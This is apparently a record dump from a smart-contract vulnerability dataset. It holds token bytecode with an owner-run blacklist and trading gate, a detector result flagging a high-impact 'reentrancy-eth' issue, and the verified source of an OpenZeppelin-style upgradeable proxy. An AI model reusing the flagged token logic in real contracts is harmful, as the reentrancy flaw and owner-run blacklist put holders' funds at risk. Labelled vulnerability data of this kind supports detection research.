d5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118079190613687565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611884576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187b90613627565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118eb906134c7565b60405180910390fd5b60008111611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e90613607565b60405180910390fd5b61193f610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ad575061197d610e87565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ef357601660149054906101000a900460ff16611a3c576119ce610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a32906134e7565b60405180910390fd5b5b601754811115611a81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7890613527565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b255750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5b90613587565b60405180910390fd5b6002600854611b7391906137bd565b4311158015611bcf5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c295750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c6157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cbf576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d6c5760185481611d2184610c3e565b611d2b91906137bd565b10611d6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6290613647565b60405180910390fd5b5b6000611d7730610c3e565b9050600060195482101590506017548210611d925760175491505b808015611dac5750601660159054906101000a900460ff16155b8015611e065750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e1c575060168054906101000a900460ff165b8015611e725750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ec85750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ef057611ed6826123c1565b60004790506000811115611eee57611eed47612258565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f9a5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061204d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561204c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561205b57600090506121e2565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121065750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561211e57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121c95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121e157600b54600d81905550600c54600e819055505b5b6121ee84848484612649565b50505050565b600083831115829061223c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223391906134a5565b60405180910390fd5b506000838561224b919061389e565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122a860028461267690919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156122d3573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61232460028461267690919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561234f573d6000803e3d6000fd5b5050565b600060065482111561239a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239190613507565b60405180910390fd5b60006123a46126c0565b90506123b9818461267690919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123f9576123f8613aa9565b5b6040519080825280602002602001820160405280156124275781602001602082028036833780820191505090505b509050308160008151811061243f5761243e613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156124e157600080fd5b505afa1580156124f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125199190612ee8565b8160018151811061252d5761252c613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061259430601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611649565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125f89594939291906136a2565b600060405180830381600087803b15801561261257600080fd5b505af1158015612626573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b80612657576126566126eb565b5b61266284848461272e565b806126705761266f6128f9565b5b50505050565b60006126b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061290d565b905092915050565b60008060006126cd612970565b915091506126e4818361267690919063ffffffff16565b9250505090565b6000600d541480156126ff57506000600e54145b156127095761272c565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b600080600080600080612740876129d2565b95509550955095509550955061279e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287f81612ae2565b6128898483612b9f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128e69190613687565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294b91906134a5565b60405180910390fd5b50600083856129639190613813565b9050809150509392505050565b600080600060065490506000683635c9adc5dea0000090506129a6683635c9adc5dea0000060065461267690919063ffffffff16565b8210156129c557600654683635c9adc5dea000009350935050506129ce565b81819350935050505b9091565b60008060008060008060008060006129ef8a600d54600e54612bd9565b92509250925060006129ff6126c0565b90506000806000612a128e878787612c6f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a7c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121f4565b905092915050565b6000808284612a9391906137bd565b905083811015612ad8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612acf906135a7565b60405180910390fd5b8091505092915050565b6000612aec6126c0565b90506000612b038284612cf890919063ffffffff16565b9050612b5781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612bb482600654612a3a90919063ffffffff16565b600681905550612bcf81600754612a8490919063ffffffff16565b6007819055505050565b600080600080612c056064612bf7888a612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c2f6064612c21888b612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c5882612c4a858c612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c888589612cf890919063ffffffff16565b90506000612c9f8689612cf890919063ffffffff16565b90506000612cb68789612cf890919063ffffffff16565b90506000612cdf82612cd18587612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612d0b5760009050612d6d565b60008284612d199190613844565b9050828482612d289190613813565b14612d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d5f906135c7565b60405180910390fd5b809150505b92915050565b6000612d86612d818461373c565b613717565b90508083825260208201905082856020860282011115612da957612da8613ae2565b5b60005b85811015612dd95781612dbf8882612de3565b845260208401935060208301925050600181019050612dac565b5050509392505050565b600081359050612df281613ee2565b92915050565b600081519050612e0781613ee2565b92915050565b60008083601f840112612e2357612e22613add565b5b8235905067ffffffffffffffff811115612e4057612e3f613ad8565b5b602083019150836020820283011115612e5c57612e5b613ae2565b5b9250929050565b600082601f830112612e7857612e77613add565b5b8135612e88848260208601612d73565b91505092915050565b600081359050612ea081613ef9565b92915050565b600081359050612eb581613f10565b92915050565b600060208284031215612ed157612ed0613aec565b5b6000612edf84828501612de3565b91505092915050565b600060208284031215612efe57612efd613aec565b5b6000612f0c84828501612df8565b91505092915050565b60008060408385031215612f2c57612f2b613aec565b5b6000612f3a85828601612de3565b9250506020612f4b85828601612de3565b9150509250929050565b600080600060608486031215612f6e57612f6d613aec565b5b6000612f7c86828701612de3565b9350506020612f8d86828701612de3565b9250506040612f9e86828701612ea6565b9150509250925092565b60008060408385031215612fbf57612fbe613aec565b5b6000612fcd85828601612de3565b9250506020612fde85828601612ea6565b9150509250929050565b60008060006040848603121561300157613000613aec565b5b600084013567ffffffffffffffff81111561301f5761301e613ae7565b5b61302b86828701612e0d565b9350935050602061303e86828701612e91565b9150509250925092565b60006020828403121561305e5761305d613aec565b5b600082013567ffffffffffffffff81111561307c5761307b613ae7565b5b61308884828501612e63565b91505092915050565b6000602082840312156130a7576130a6613aec565b5b60006130b584828501612e91565b91505092915050565b6000602082840312156130d4576130d3613aec565b5b60006130e284828501612ea6565b91505092915050565b6000806000806080858703121561310557613104613aec565b5b600061311387828801612ea6565b945050602061312487828801612ea6565b935050604061313587828801612ea6565b925050606061314687828801612ea6565b91505092959194509250565b600061315e838361316a565b60208301905092915050565b613173816138d2565b82525050565b613182816138d2565b82525050565b600061319382613778565b61319d818561379b565b93506131a883613768565b8060005b838110156131d95781516131c08882613152565b97506131cb8361378e565b9250506001810190506131ac565b5085935050505092915050565b6131ef816138e4565b82525050565b6131fe81613927565b82525050565b61320d81613939565b82525050565b600061321e82613783565b61322881856137ac565b935061323881856020860161396f565b61324181613af1565b840191505092915050565b60006132596023836137ac565b915061326482613b02565b604082019050919050565b600061327c603f836137ac565b915061328782613b51565b604082019050919050565b600061329f602a836137ac565b91506132aa82613ba0565b604082019050919050565b60006132c2601c836137ac565b91506132cd82613bef565b602082019050919050565b60006132e56026836137ac565b91506132f082613c18565b604082019050919050565b60006133086022836137ac565b915061331382613c67565b604082019050919050565b600061332b6023836137ac565b915061333682613cb6565b604082019050919050565b600061334e601b836137ac565b915061335982613d05565b602082019050919050565b60006133716021836137ac565b915061337c82613d2e565b604082019050919050565b60006133946020836137ac565b915061339f82613d7d565b602082019050919050565b60006133b76029836137ac565b91506133c282613da6565b604082019050919050565b60006133da6025836137ac565b91506133e582613df5565b604082019050919050565b60006133fd6023836137ac565b915061340882613e44565b604082019050919050565b60006134206024836137ac565b915061342b82613e93565b604082019050919050565b61343f81613910565b82525050565b61344e8161391a565b82525050565b60006020820190506134696000830184613179565b92915050565b600060208201905061348460008301846131e6565b92915050565b600060208201905061349f60008301846131f5565b92915050565b600060208201905081810360008301526134bf8184613213565b905092915050565b600060208201905081810360008301526134e08161324c565b9050919050565b600060208201905081810360008301526135008161326f565b9050919050565b6000602082019050818103600083015261352081613292565b9050919050565b60006020820190508181036000830152613540816132b5565b9050919050565b60006020820190508181036000830152613560816132d8565b9050919050565b60006020820190508181036000830152613580816132fb565b9050919050565b600060208201905081810360008301526135a08161331e565b9050919050565b600060208201905081810360008301526135c081613341565b9050919050565b600060208201905081810360008301526135e081613364565b9050919050565b6000602082019050818103600083015261360081613387565b9050919050565b60006020820190508181036000830152613620816133aa565b9050919050565b60006020820190508181036000830152613640816133cd565b9050919050565b60006020820190508181036000830152613660816133f0565b9050919050565b6000602082019050818103600083015261368081613413565b9050919050565b600060208201905061369c6000830184613436565b92915050565b600060a0820190506136b76000830188613436565b6136c46020830187613204565b81810360408301526136d68186613188565b90506136e56060830185613179565b6136f26080830184613436565b9695505050505050565b60006020820190506137116000830184613445565b92915050565b6000613721613732565b905061372d82826139a2565b919050565b6000604051905090565b600067ffffffffffffffff82111561375757613756613aa9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006137c882613910565b91506137d383613910565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561380857613807613a1c565b5b828201905092915050565b600061381e82613910565b915061382983613910565b92508261383957613838613a4b565b5b828204905092915050565b600061384f82613910565b915061385a83613910565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561389357613892613a1c565b5b828202905092915050565b60006138a982613910565b91506138b483613910565b9250828210156138c7576138c6613a1c565b5b828203905092915050565b60006138dd826138f0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006139328261394b565b9050919050565b600061394482613910565b9050919050565b60006139568261395d565b9050919050565b6000613968826138f0565b9050919050565b60005b8381101561398d578082015181840152602081019050613972565b8381111561399c576000848401525b50505050565b6139ab82613af1565b810181811067ffffffffffffffff821117156139ca576139c9613aa9565b5b80604052505050565b60006139de82613910565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a1157613a10613a1c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613eeb816138d2565b8114613ef657600080fd5b50565b613f02816138e4565b8114613f0d57600080fd5b50565b613f1981613910565b8114613f2457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e914caf302a5361b6ad67786991597dd8f8a29f56113f03795547978fe92bce664736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
8,353
0x02706fda07c272929655ffa811920aba270a1444
/** *Submitted for verification at Etherscan.io on 2020-09-19 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback () payable external { _fallback(); } receive () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() virtual internal view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() virtual internal; /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { if(OpenZeppelinUpgradesAddress.isContract(msg.sender) && msg.data.length == 0 && gasleft() <= 2300) // for receive ETH only from other contract return; _willFallback(); _delegate(_implementation()); } } /** * @title BaseUpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ abstract contract BaseUpgradeabilityProxy is Proxy { /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() override internal view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title BaseAdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() virtual override internal { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); //super._willFallback(); } } interface IAdminUpgradeabilityProxyView { function admin() external view returns (address); function implementation() external view returns (address); } /** * @title UpgradeabilityProxy * @dev Extends BaseUpgradeabilityProxy with a constructor for initializing * implementation and init data. */ abstract contract UpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } //function _willFallback() virtual override internal { //super._willFallback(); //} } /** * @title AdminUpgradeabilityProxy * @dev Extends from BaseAdminUpgradeabilityProxy with a constructor for * initializing the implementation, admin, and init data. */ contract AdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _admin, address _logic, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } function _willFallback() override(Proxy, BaseAdminUpgradeabilityProxy) internal { super._willFallback(); } } /** * @title InitializableUpgradeabilityProxy * @dev Extends BaseUpgradeabilityProxy with an initializer for initializing * implementation and init data. */ abstract contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Contract initializer. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ function initialize(address _logic, bytes memory _data) public payable { require(_implementation() == address(0)); assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } } /** * @title InitializableAdminUpgradeabilityProxy * @dev Extends from BaseAdminUpgradeabilityProxy with an initializer for * initializing the implementation, admin, and init data. */ contract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy { /** * Contract initializer. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ function initialize(address _admin, address _logic, bytes memory _data) public payable { require(_implementation() == address(0)); InitializableUpgradeabilityProxy.initialize(_logic, _data); assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } } /** * Utility library of inline functions on addresses * * Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/utils/Address.sol * This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts * when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the * build/artifacts folder) as well as the vanilla Address implementation from an openzeppelin version. */ library OpenZeppelinUpgradesAddress { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param account address of the account to check * @return whether the target address is a contract */ function isContract(address account) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } }
0x6080604052600436106100745760003560e01c80638f2839701161004e5780638f2839701461016f578063cf7a1d77146101a2578063d1f5789414610261578063f851a4401461031757610083565b80633659cfe61461008b5780634f1ef286146100be5780635c60da1b1461013e57610083565b366100835761008161032c565b005b61008161032c565b34801561009757600080fd5b50610081600480360360208110156100ae57600080fd5b50356001600160a01b0316610371565b610081600480360360408110156100d457600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100ff57600080fd5b82018360208201111561011157600080fd5b8035906020019184600183028401116401000000008311171561013357600080fd5b5090925090506103ab565b34801561014a57600080fd5b50610153610458565b604080516001600160a01b039092168252519081900360200190f35b34801561017b57600080fd5b506100816004803603602081101561019257600080fd5b50356001600160a01b0316610495565b610081600480360360608110156101b857600080fd5b6001600160a01b0382358116926020810135909116918101906060810160408201356401000000008111156101ec57600080fd5b8201836020820111156101fe57600080fd5b8035906020019184600183028401116401000000008311171561022057600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061054f945050505050565b6100816004803603604081101561027757600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156102a257600080fd5b8201836020820111156102b457600080fd5b803590602001918460018302840111640100000000831117156102d657600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061057f945050505050565b34801561032357600080fd5b5061015361065f565b6103353361068a565b801561033f575036155b801561034d57506108fc5a11155b156103575761036f565b61035f610690565b61036f61036a6106e8565b61070d565b565b610379610731565b6001600160a01b0316336001600160a01b031614156103a05761039b81610756565b6103a8565b6103a861032c565b50565b6103b3610731565b6001600160a01b0316336001600160a01b0316141561044b576103d583610756565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d8060008114610432576040519150601f19603f3d011682016040523d82523d6000602084013e610437565b606091505b505090508061044557600080fd5b50610453565b61045361032c565b505050565b6000610462610731565b6001600160a01b0316336001600160a01b0316141561048a576104836106e8565b9050610492565b61049261032c565b90565